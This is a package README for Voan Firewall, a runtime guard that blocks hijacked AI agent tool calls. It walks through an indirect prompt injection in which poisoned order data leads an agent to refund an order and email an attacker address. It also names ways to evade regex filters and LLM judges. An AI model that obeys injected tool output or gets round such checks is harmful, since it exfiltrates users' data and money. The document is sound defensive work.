Metadata-Version: 2.4
Name: voan
Version: 0.1.11
Summary: Voan Firewall — runtime guard for AI agents. Sits inline on every tool call and blocks unauthorized actions (RCE, exfiltration, data loss) before they execute.
Author: Voan
License: Apache-2.0
Project-URL: Homepage, https://github.com/voan-ai/voan-firewall
Project-URL: Repository, https://github.com/voan-ai/voan-firewall
Project-URL: Issues, https://github.com/voan-ai/voan-firewall/issues
Keywords: ai-security,llm-security,agentic,agent-firewall,runtime-security,mcp,owasp-agentic,guardrails
Requires-Python: >=3.9
Description-Content-Type: text/markdown
License-File: LICENSE
Provides-Extra: dashboard
Requires-Dist: fastapi>=0.110; extra == "dashboard"
Requires-Dist: uvicorn>=0.29; extra == "dashboard"
Provides-Extra: langchain
Requires-Dist: langchain-core>=0.2; extra == "langchain"
Provides-Extra: examples
Requires-Dist: openai>=1.0; extra == "examples"
Requires-Dist: mcp>=1.0; extra == "examples"
Provides-Extra: mcp
Requires-Dist: mcp>=1.0; extra == "mcp"
Provides-Extra: proxy-http
Requires-Dist: mcp>=1.0; extra == "proxy-http"
Requires-Dist: uvicorn>=0.29; extra == "proxy-http"
Requires-Dist: starlette>=0.37; extra == "proxy-http"
Provides-Extra: dev
Requires-Dist: pytest>=7; extra == "dev"
Requires-Dist: pytest-cov>=4; extra == "dev"
Requires-Dist: ruff>=0.6; extra == "dev"
Dynamic: license-file

<h1 align="center">Voan Firewall</h1>
<p align="center"><b>The firewall for AI agents.</b><br>
Catches known-bad <i>and</i> goal-inconsistent agent actions — RCE, data exfiltration, fraud — <i>before</i> they execute.</p>

<p align="center">
  <a href="https://pypi.org/project/voan/"><img src="https://img.shields.io/pypi/v/voan" alt="PyPI"></a>
  <a href="https://github.com/voan-ai/voan-firewall/actions/workflows/ci.yml"><img src="https://github.com/voan-ai/voan-firewall/actions/workflows/ci.yml/badge.svg" alt="CI"></a>
  <img src="https://img.shields.io/badge/license-Apache--2.0-blue" alt="License">
  <img src="https://img.shields.io/badge/core%20deps-zero-brightgreen" alt="Zero core deps">
  <a href="SECURITY.md"><img src="https://img.shields.io/badge/security-policy-informational" alt="Security policy"></a>
</p>

---

AI agents now take real actions: they run shell commands, move money, touch your
database, call your APIs. One prompt injection or one poisoned tool result and an
agent does something it was never asked to. **Voan Firewall sits inline on every
tool call, in the agent's own process, and decides `allow / ask / block` before
any side effect happens.** Think of it as the antivirus/EDR layer for agents: a
fast signature tier plus an optional LLM judge for the gray zone.

```
Voan Firewall  → runtime:    block the exploit as it happens   (this repo)
Voan Scanner   → pre-deploy: find the agent's holes            (companion, private beta)
```

## Why not just regex rules?

Pattern rules catch the loud stuff (`rm -rf`, known-bad domains). They **cannot**
tell whether a *benign-looking* action — an email to a normal address, a data
export — is what the user asked for, or was hijacked by poisoned tool output. So
Voan adds a second tier: an **LLM judge** that compares each action against the
user's actual goal. The judge only ever *escalates* a verdict to BLOCK; it never
loosens one.

On a 36-case eval ([`eval/`](eval/), grounded in an agentic-attack taxonomy —
OWASP Agentic Top 10; see the `klass` field in [`eval/traces.jsonl`](eval/traces.jsonl);
gpt-4o-mini judge):

| 36-case eval | regex rules only | **+ Voan judge** |
|---|:--:|:--:|
| Attacks **silently allowed** (no gate at all) | 30% (6/20) | **0% (0/20)** |
| Attacks auto-blocked | 35% (7/20) | **100% (20/20)** |
| Benign **hard-blocked** (false positive) | 6% (1/16) | 6% (1/16) |

Read it honestly: rules alone auto-block 35% of attacks and **hold another 35%
for a human** (`ASK` on money/external sends), but **silently allow the remaining
30%** — that 30% is the real blind spot. The judge closes it to **zero**, turning
the silently-allowed attacks into blocks and the held ones into auto-blocks. The
one false positive is a *legitimate* `DROP TABLE`: destructive DB ops are
hard-blocked by design (allowlist them explicitly), and the judge can't loosen a
hard block. A further 5/16 benign actions are *held for approval*, not blocked —
intended behaviour for money and outbound sends.

> Honest caveat: 36 hand-curated cases is an optimistic ceiling, not a production
> guarantee, and the judge score is one run of an LLM grader. The defensible
> number comes from feeding real traces through the same harness — that loop is on
> the roadmap.

## Proof — it stops a *real* hijacked agent

Not a scripted attack, and not our agent loop. A genuine **LangChain agent**
(`create_agent` + `ChatOpenAI`, gpt-4o-mini) is asked only to *check order
ORD-1001*. The order-lookup tool returns **poisoned data** (indirect prompt
injection) telling it to refund and email the confirmation to an attacker. The
loop, the reasoning, and the tool calls are all the framework's — we add Voan with
one line: `guard_langchain(tools, firewall=fw)`.

```
UNGUARDED — the real LangChain agent obeys the injection:
  💀 process_refund(ORD-1001)                       -> EXECUTED
  💀 send_email(refund-recovery@evil-collector.com) -> EXECUTED   (exfiltrated to attacker)
  >> 2 harmful actions actually executed

GUARDED — guard_langchain + judge, same agent, same attack:
  🛑 process_refund(ORD-1001)                       -> BLOCKED by Voan
  🛑 send_email(refund-recovery@evil-collector.com) -> BLOCKED by Voan
  >> 0 harmful actions executed — the agent safely tells the user it can't
```

Two runnable proofs (both need `OPENAI_API_KEY` in `.env`):

```bash
pip install "voan[examples]" langchain langchain-openai langgraph
python examples/langchain_real_agent_attack.py   # a real LangChain agent
python examples/real_agent_attack.py             # a real OpenAI function-calling agent
```

Even **gpt-5.4-mini** — a frontier model — is reliably hijacked by research-grade
attacks (encoded payloads, goal-reframing) that the regex tier doesn't catch, and
Voan's judge catches them on **every run** (0 hijacks survived across 3 runs). Crude
injections, frontier models resist on their own — we say so. We also **red-teamed
Voan itself**: found a look-alike-destination exfil that fools the goal-based judge
(2/4), then shipped the fix — an opt-in egress allowlist,
`Firewall(egress_allowlist=["acme.com"])` — that closes it (0/4).

And on a **third-party benchmark we did not build** —
[InjecAgent](https://github.com/uiuc-kang-lab/InjecAgent), 1,054 indirect-injection
scenarios across agents/tools we never configured for — Voan's judge gates **100%**
(1054/1054) of the induced harmful tool calls at **~6% FP** (1/17 — a single
non-deterministic LLM run; 0–1 FP across runs) on legitimate ones, while
the regex tier alone gates **0%** (the tools are domain-specific). That 0→100 is the
honest shape of it: on a real agent the *judge* is the defense, and 100% holds
because these attacks are off-goal by construction — subtle on-goal attacks are a
harder class. Full method, caveats, and both evals: [BENCHMARK.md](BENCHMARK.md).

## Install

```bash
pip install voan                 # core SDK — zero runtime dependencies
pip install "voan[dashboard]"    # + live dashboard (fastapi, uvicorn)
pip install "voan[langchain]"    # + the LangChain adapter demo (langchain-core)
pip install "voan[mcp]"          # + guard_mcp & the voan-mcp-proxy (mcp)
pip install "voan[proxy-http]"   # + serve the proxy over HTTP (mcp, uvicorn, starlette)
```

(Clone the repo if you want to run the `demo/` and `eval/` scripts below.)

A TypeScript/JS **port** lives in [`sdk-js/`](sdk-js/) (Node 22.6+, native TS) at
**full parity with Python across the whole spectrum** — the hardened regex rules,
egress allowlist, the LLM judge, framework adapters (`guardAiSdkTools`,
`guardOpenAIDispatch`, `guardCallables`), plan-then-execute (`Plan`), the mechanical
zero-config guard (`guardLangchainAuto` — grounding + Rule of Two), and the full
CaMeL/FIDES core: the **capability engine** (`CapabilityEngine`, `Capsule`) with its
per-value integrity + confidentiality invariants and the interpreter, plus
`RuleOfTwo`, `TaintTracker`, `FlowMonitor`, `quarantinedLlm`, and the
`deriveCapabilityProgram` planner. Six parity suites (`*_verify.ts`) run in CI. It
carries the **same real-agent proof** — a genuine OpenAI function-calling agent,
hijacked by poisoned tool output, blocked (0 harmful actions):
`node sdk-js/examples/real_agent_attack.ts` (needs `OPENAI_API_KEY`). Consumed
locally from the repo; not yet published to npm.

## One line to protect an agent

```python
import voan

tools = voan.guard(tools)      # wrap your dict/list of tool functions
```

That one line gives you the **regex tier** (the "silently-allow 30%" column above) — a
signature blocklist that catches *common* RCE/DB/exfil patterns but is **evadable** on
its own (rephrased shells, `curl | python3`, tautology-`WHERE`), so don't rely on it
alone. For a **deterministic floor** on high-stakes tools, flip to deny-by-default —
`voan.guard(tools, policy=voan.deny_by_default(["shell", "db"]))` — which blocks any
*unrecognized* shell/db action while your own allow-rules still win. To get the full
intent-vs-hijack coverage, add the judge and tell it the user's goal:

```python
import voan
from voan import LLMJudge, ollama_llm

fw = voan.Firewall(judge=LLMJudge())     # needs a backend (see note)
fw.set_goal("Check the delivery status of order ORD-1001.")
tools = fw.guard_tools(tools)
# An agent hijacked into emailing customer data now raises BlockedAction.
```

> The judge needs an LLM backend. It is **not OpenAI-only** — pick any:
> `openai_llm()`, local `ollama_llm()`, `anthropic_llm()` (Claude),
> `openai_compatible_llm(base_url, model)` for Groq / Together / OpenRouter / vLLM /
> LM Studio / DeepSeek, or **any** `callable(system, user) -> str`. With no backend
> the judge is a **no-op (fails open)** and warns. It sends the action + recent
> (untrusted) tool context to that backend — secrets/card numbers are auto-redacted
> first, but for privacy-sensitive agents use a **local** backend. See
> [Data handling](#data-handling--threat-model). (The protected agent itself is
> framework- and model-agnostic — LangChain, OpenAI, plain functions all work.)

### Auto-instrumentation — strong defense, zero config

The strong tiers usually ask you to declare a goal, a plan, or capabilities. The
one line below asks for **nothing**: point it at a real **LangChain** agent's tools
and Voan classifies each one itself (untrusted source vs. side-effect sink) and
tracks provenance across the run — so a value read from a poisoned tool output is
blocked when the agent tries to send it out. **No LLM judge, deterministic**, so it
can't be prompted away.

```python
from voan import guard_langchain_auto
tools, _ = guard_langchain_auto(my_langchain_tools, goal=user_request)  # that's it
```

On a genuine `create_agent` + gpt-4o-mini agent hijacked by a poisoned order lookup
([`examples/langchain_auto_attack.py`](examples/langchain_auto_attack.py)): unguarded
the customer data is **exfiltrated to the attacker**; auto-guarded the exfil email is
**blocked** — Voan saw the attacker address come out of the lookup and refuse to let
it leave.

**The enforcement is mechanical — no model in the decision, 0% by construction.** A
side effect is allowed only if its **recipient/destination** is one the user named in
their request; any other destination is **held for the user to confirm**. An injection
cannot win, ever, because it cannot put the attacker's account into the user's own
words — and there is no LLM in the gate to fool (unlike a judge, which adaptive
attacks bypass >90%). On AgentDojo this catches the injected-recipient exfils and
holds ~33% of legitimate sends — but that 33% is **not an error rate**: those are
sends to a destination the agent read from data rather than one the user named, which
genuinely *should* be confirmed by a human. The firewall can't know they're safe
without a human, so it asks — that is the honest, sound behaviour, not a false
positive. (Read data in a message *body* is fine; only the *recipient* is checked.)

Optionally pass `verify=llm` to *reduce how often a human is asked* — a quarantined
verifier auto-approves a data-derived recipient it can confirm the goal intends. It
only ever **downgrades a hold to allow**; it never gates by itself, so soundness stays
mechanical. (With a frontier verifier the confirm-rate drops — measured 33%→16% —
and it keeps falling with model quality.) For the full provable version where every
value carries a capability, see the capability engine below.

Works on real frameworks too — genuine LangChain tools (with `langchain-core`
installed) via [`voan/adapters.py`](voan/adapters.py):

```python
from voan.adapters import guard_langchain
guard_langchain(my_langchain_tools)
```

…or guard a real **MCP client session** — Voan's protocol-level sensor checks every
`call_tool` before the request leaves the client for the server (so it covers MCP
tools the in-process hook can't). The MCP pieces need the `mcp` extra:

```bash
pip install "voan[mcp]"            # guard_mcp + the voan-mcp-proxy stdio/HTTP-upstream proxy
```
```python
from voan.adapters import guard_mcp
guard_mcp(mcp_client_session, fw)   # see examples/mcp_demo.py
```

…or, for **zero code change**, run the transparent proxy between any MCP client and
server — just point the client's config at it (see `examples/mcp_proxy_demo.py`):

```bash
voan-mcp-proxy --allow acme.com -- python my_mcp_server.py   # local stdio upstream
voan-mcp-proxy --allow acme.com --http https://host/mcp      # remote HTTP upstream
# …or SERVE the proxy itself over HTTP, so a remote client connects to Voan directly
# (this mode needs the proxy-http extra: pip install "voan[proxy-http]"):
voan-mcp-proxy --allow acme.com --serve-http 127.0.0.1:9000 -- python my_mcp_server.py
```

## See it work

```bash
uvicorn server.app:app --port 8088     # live dashboard at http://127.0.0.1:8088
python demo/demo_agent.py              # naive agent: 1 allow, 1 held, 3 blocked
python demo/judge_demo.py              # intent-vs-hijack tier (needs a judge backend)
python demo/langchain_demo.py          # real LangChain tools (needs .[langchain])
python eval/run_eval.py                # reproduce the eval numbers above
```

## How it works

- **Sensor** ([`hook.py`](voan/hook.py)) — in-process wrapper on every tool call.
  In-process means it covers Python (and, via the port, JS) agent tools you can
  wrap — plus **MCP client sessions** via `guard_mcp` (a protocol-level sensor).
- **Brain** ([`policy.py`](voan/policy.py) + [`rules.py`](voan/rules.py)) — fast
  regex tier; first matching rule wins. It is a **signature blocklist that is
  default-allow** out of the box. For high-stakes tool families, flip to
  **deny-by-default** with a preset — `Firewall(policy=deny_by_default(["shell",
  "db"]))` blocks any *unrecognized* shell/db action while the danger signatures
  still fire and your own front-loaded allow-rules win (see
  [`examples/preset_demo.py`](examples/preset_demo.py)). Local and sub-millisecond.
- **Judge** ([`judge.py`](voan/judge.py)) — LLM "intent vs hijack" tier, **opt-in**,
  that only ever *escalates* to BLOCK. Adds an LLM round-trip (latency + cost) per
  gray-zone action, so it runs off the regex hot path. Pluggable backend
  (OpenAI / local Ollama / any callable). Set `judge_fail_closed=True` so a backend
  error/timeout **blocks** rather than silently failing open.
- **Egress allowlist** ([`rules.py`](voan/rules.py)) — opt-in deterministic tier:
  `Firewall(egress_allowlist=["acme.com"])` blocks any action referencing a domain
  **or raw IP** you didn't approve — look-alike exfil destinations and SSRF to
  cloud-metadata / internal IPs the goal-based judge can't tell apart.
- **Plan-then-execute** ([`plan.py`](voan/plan.py)) — the strongest tier for
  *in-domain* hijacks (a `send_money` that pays a bill vs. one that pays an attacker
  look identical to a judge). Commit the intended actions **before** untrusted data:
  `fw.set_plan([{"tool": "send_money", "recipient": payee}, ...])`. Voan then runs
  only those (each once, recipient optionally pinned) and blocks anything an
  injection adds or alters — **deterministic, no LLM call**. On AgentDojo it cuts
  in-domain false positives ~5× vs the judge (see [BENCHMARK.md](BENCHMARK.md)).
- **Rule of Two** ([`rule_of_two.py`](voan/rule_of_two.py)) — Meta's 2026 agent
  design constraint as a deterministic tier: a session should hold at most two of
  *untrusted input · sensitive data · external action*. `Firewall(rule_of_two=caps)`
  holds (ASK) an external side effect once the session already touched untrusted
  **and** sensitive — the exfiltration path. **Adaptive-attack-proof for the
  capability it governs**: no prompt can argue away a capability count.
- **Taint provenance** ([`taint.py`](voan/taint.py)) — opt-in `Firewall(taint=True)`;
  a side-effect target that came from (untrusted) tool output and wasn't named in
  the goal is held. A free, no-LLM catch for the classic poisoned-output→payout exfil.
- **Information flow** ([`flow.py`](voan/flow.py)) — the confidentiality half of
  FIDES-style labels: `Firewall(flow=["get_balance", ...])` holds any external
  action that carries a value read from a declared confidential source — data
  *leaving*, whatever the destination. Deterministic, finer than Rule of Two.
- **Audit + dashboard** — JSONL trail + live WebSocket feed.

- **Capability engine** ([`capability.py`](voan/capability.py)) — the CaMeL/FIDES
  *provable* core. Every value carries a capability (integrity + confidentiality)
  that propagates through operations; an untrusted value can never steer a side
  effect, and a confidential value can never reach an unauthorized sink — enforced
  per value, **by construction, not by a percentage**. `eng.guard_tools(...)` threads
  the labels through your tool chain (see [`examples/capability_demo.py`](examples/capability_demo.py)).

> Tiers marked deterministic (rules, egress, plan, taint, Rule of Two, information
> flow, capability engine) can't be argued away by a prompt — the 2026 direction
> after adaptive attacks broke judge-only defenses. The LLM judge is one **opt-in**
> tier, not the foundation. The capability engine is a *provable* guarantee (for
> values threaded through it), the frontier that CaMeL and FIDES define.

## Data handling & threat model

When the judge is enabled, each evaluated action's arguments plus up to the last 5
(untrusted) tool outputs are sent to your chosen LLM backend. **With the default
OpenAI backend, that context leaves your environment.** Two mitigations ship in the
box: (1) a redactor masks obvious secrets and card-like numbers before anything is
sent (the regex tier still sees the raw values, so blocking is unaffected); (2) the
prompt instructs the model to treat untrusted tool output as data only — a
best-effort, not a guarantee, against injection of the judge itself. For sensitive
or regulated deployments, run the judge on a **local** model
(`LLMJudge(llm=ollama_llm())`) so nothing leaves your network. To report a
vulnerability, see [SECURITY.md](SECURITY.md).

## Roadmap

- Larger real-trace eval (more third-party benchmarks; a bigger benign corpus for
  a tighter FP number — the current InjecAgent run is 17 benign cases)
- npm publish for the JS SDK (now at full three-tier parity with Python, repo-local)
- MCP: `guard_mcp` (client session) and `voan-mcp-proxy` (transparent proxy for both
  local stdio and remote HTTP MCP servers, zero-integration) — including serving the
  proxy itself over HTTP (`--serve-http`, so remote clients connect to Voan directly)
- Hosted policy management + team audit (the commercial open-core layer)

Apache-2.0 · [github.com/voan-ai/voan-firewall](https://github.com/voan-ai/voan-firewall)
